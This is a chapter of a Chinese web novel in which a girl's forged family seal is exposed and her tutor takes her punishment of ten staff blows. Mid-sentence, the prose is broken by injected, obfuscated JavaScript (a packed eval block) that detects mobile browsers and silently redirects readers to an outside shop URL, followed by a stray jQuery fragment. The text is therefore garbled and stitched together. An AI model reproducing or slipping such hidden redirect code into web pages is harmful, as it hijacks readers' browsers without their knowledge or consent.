“仲元,掌门的私印,可不能拿来开玩笑。”三姨温柔的脸上混进去了几分阴沉,朝着姜仲元的方向走了两步,一股威压释放出来。
“是不是开玩笑,等掌门回来就知道了。”她不动声色地收回手,声音平稳如常。
“掌门不可能把私印交给你,瑶瑶,骗人可不是好孩子。”
“这事三姨应该去问掌门,因为我也不知道掌门原因。”
“好了,三小姐要是真的着急,那边传讯掌门,让她今日回来便是,不必在此诘问一个孩子。”
林掌事开口,企图一锤定音。
“林掌事,一个书楼而已,为何......”
“是啊,三小姐,一个书楼而已。”
林掌事强势地打断了她。姜仲元看见三姨的嘴角扯了好几下,一双眼睛眨得飞快,眼珠子还在滴溜溜地转,似乎是在拼命想对策。
“那便请仲元帮忙,写封信给书楼吧,以掌门的名义,正好仲元那有掌门的私印。”
思索片刻,三姨又把矛头对准了姜仲元。
这次不一样,听见这话,姜仲元真的暗自吸了一口凉气。
这个私印......是假的啊......是她之前凿子没被没收的时候,自己偷偷刻的一个,本想后面偷溜出门考评千枢生的时候,写一张假条糊弄过去的,谁知道这个时候会拿它来应急。
至于姐姐,怎么可能把私印给她?她收到私印的第一件事就是把印章往地上狠狠一摔,确保上面摔出来独一无二的棱角痕迹才肯用的。她怎么可能做出一模一样的?
好了好了,这下坏了。
姜仲元的头皮有些发麻,她不知道刚才三姨是怎么想到自己手上的这个是假货,因此她现在也不知道该怎么才能糊弄过去。
“云镜足矣,我姜家对云镜改进不小,何苦还劳累鸽子白鹭。”
林掌事替她解围,她一边庆幸,一边在疯狂思索自己这个时候应该做些什么才能溜走。
“书楼不愿,林掌事年事已高,让鸽子飞一圈便好,何苦还调用灵力。”
真难缠啊......姜仲元听完三姨这话,忍不住感慨。
“三姨,你正当壮年,你帮林掌事给书楼传讯就好了。”姜仲元口里一急,说出了她的解决办法。
“也不错。”林掌事立马补充。
“呵呵,”姜拂穗很突兀地笑了一声,然后满脸慈爱地看着姜仲元,十分感慨:“四妹生养得真好,两个女儿都好。”
门外一团夕阳,大剌剌地跑进松烟院里,铺在燥热的石板上。姜仲元赶到自己的额头似乎沁出来一颗汗珠。
窗外,风铃清脆,如清酒入瓷,凉风一段,给她的心头扑灭了几分燥热。
“接到三姨来了松烟院的消息,晚辈急忙赶回了。”
是姐姐的声音。
姜仲元此刻才感觉到,一丝凉意从手掌的印章处发散,缓缓传至心间,抚平了心中的焦灼。
林掌事闻声回头,发现姜镜尘的身后并没有跟着老胡,一直提起来的心这下稍稍放了下去。
“......真是巧了,往日传个话的事,今日竟然能大张旗鼓地办成这样,掌门,你说这书楼里,到底有什么啊?”
句句轶闻,但语气却越发坚定,就连姜仲元也看明白了三姨那洞穿一切都深色。
“三姨现在去看看就知道了。”姜镜尘侧过身,做了一个“请”的手势。
“去之前,我想再向掌门讨个说法,”三姨满不在乎地拢了一下落在肩头的几根发丝,眼睛半眯着,说:
“几年前,你在比武场上曾亲口说出,姜家人自然要守姜家规矩,敢问掌门坏了规矩可怎么办?”
没头没尾的一句话,姜镜尘并未回应,只等她接着往下说。
“掌门的私印,可以交给一个未过及笄的孩子吗?”
三姨说着,一只手指向姜仲元。
闻言,林掌事想要上前求情,还没开口,姜仲元就抢先一步跪在三姨面前了。
“真是万分抱歉啊三姨!”姜仲元整个人啪嗒一跪,脸上没有一点流泪的迹象,甚至不觉得自己错了:“我刚才是骗你的。”
“啊?”姜镜尘轻轻地惊讶了一下:“又怎么骗的?你偷我私印了?”
“哪敢啊!”姜仲元朝着姐姐扑过去,也不管什么面子,扯着嗓子就开始嚎起来:
“我错了!我不该偷刻姐姐的私印!我真的只是想给自己批示假条而已!虽然我一次没用过,但是我不该刻!我更不该在三姨想进书楼的时候,拿出假印骗三姨;可我没想到三姨信了!我不该让三姨相信!我错了!”
......嗯,不知道这一波算不算抓住了先机,反正先把前因后果说出来,后面就是姐姐真的要罚......也能少抄几遍书吧......
“你!”
眼看着姜仲元的罪行从偷盗变成一次顽劣的捣乱,姜拂穗心中不服。
“偷刻掌门私印,也是大罪;人族的皇子都不敢偷刻一个玉玺。”
“对,我错了!”
语气依旧理直气壮。
“这次毕竟没酿成什么大祸,依我看......”林掌事依旧在一边替姜仲元解围。
姜仲元再次向李丽娜掌事投去感激的目光,明明相处的时间不长,却总能挺身而出维护自己,真是个好人!
“若我今日执意要去书楼,应该也酿不成什么大祸;可是林掌事和这孩子依旧用姜家规矩来堵我的口;凭什么,她不用守规矩?”
三姨步步紧逼,姜仲元知道,自己在劫难逃,于是认命般垂下头,把藏在手里的假印交给姐姐。
姐姐接过印章,看了两眼,收下它,然后声音冷静而平和:
“自然要罚,十杖,抄书三十遍。”
一盆凉水从发顶浇下,姜仲元感觉到了寒意。
“掌门赏罚分明,拜服。”
三姨说完这句话,扭着身子走出院门,头也不回地补了一句话:
“那我就在门外候着,罚完孩子快些出来,我儿还等着他祖母给的秘术呢!”
姜仲元揉揉自己的收心,那里被自己刻的印章硌了很久,还有些疼。她现在脑子有点乱,不知道哪所谓的“十杖”到底有多疼。
她抬眼看了一下还站在一旁的林掌事和姐姐,两人的脸色均是讳莫如深,她看不见自己的脸色,不过肯定不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723626|206417||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
算好看。
算了,都是自己人,在她们面前挨打,应该也不会太难受,姜仲元此刻甚至还有些庆幸三姨刚才走了出去。
......不对!屋内还有一个!陆行舟!
姜仲元猛然想起来,陆行舟一直在屋里,甚至刚才的话他全部听见了。
怎么偏偏是他呢,哪怕是荣耀在一旁,她都不会感到这班尴尬;她现在希望,陆行舟可以离开,随便找个什么借口。
或许,心诚则灵,陆行舟竟然真的从里屋出来了,深深看了一眼姜仲元后,面朝着姐姐,和她一起,跪在了她身边。
“你......她干巴巴的开口,却不知道该说什么。
“瑶瑶唤我一声小师父,她犯错便是我犯错。既愧于弟子仰赖,又愧于掌门托付,那十杖,恳请掌门让陆某代为受过。”
“什么?!”
比姜镜尘反应更大的,是姜仲元。
朝着一个方向,奔跑,翻墙,过街,再翻墙,在爬进那个常年开着的窗户里。
姜仲元对这一套流程早已轻车熟路,这不是她第一次以这样的方式来荣耀的房子了。
“明明给了你要是,偏偏不走寻常路......这是干嘛......怎么还翻起东西来了?”荣耀不解,姜仲元翻窗进屋后,就一直翻箱倒柜,不知道在寻些什么。
“那个劲爽要,就是我几日前脚受伤了,你给我用的那种,还有吗?”
“怎么了?你伤口复发了?”荣耀一下子紧张起来,立马就要蹲下去检查她的患处。
“不是我,是陆行舟,他替我挨了姜家家法,后背上青一块紫一块,还破口了,我想找些药来给他......”
“他是灵族,你来找的都是人族的药,未必有用啊。”
听到不是姜仲元受伤,荣耀先舒了一口气,然后转身给她倒了一杯茶,让她润润喉,刚才翻墙,额头都冒汗了。
“那......哪里有灵族的药?”
“姜家应该有啊,他来姜家做事,没有必要替你背了黑锅还不管不顾的道理。”
荣耀接过空茶杯,放在一旁,接着说:
“或者去萧家,萧家最专草药,药效什么的最好,你去问萧牧辰,他那么喜欢你姐姐。”
“......”
姜仲元沉默了。
“怎么了?又不说话。”
“你怎么知道陆行舟替我背黑锅了?”
“按你的性子,如果真的是他咎由自取,你现在估计正幸灾乐祸呢。”
“......好像你们都能知道我在想什么。”
“好像你在我们面前都不必学会做戏。”
荣耀轻声纠正,然后又试探地问:“是又和掌门争执了吗?”
“要是和我姐吵架就好办了......”姜仲元面色一苦,嘴一撇,满脸写着不高兴。
荣耀没有接着追问下去,而是揉了揉这颗小脑袋。
“那......我现在带你去萧家?”
“等会儿吧,哥,”姜仲元面露难色,“我刚才跑得太急,没感觉到自己的脚,现在......伤口它好像真的又裂开了......”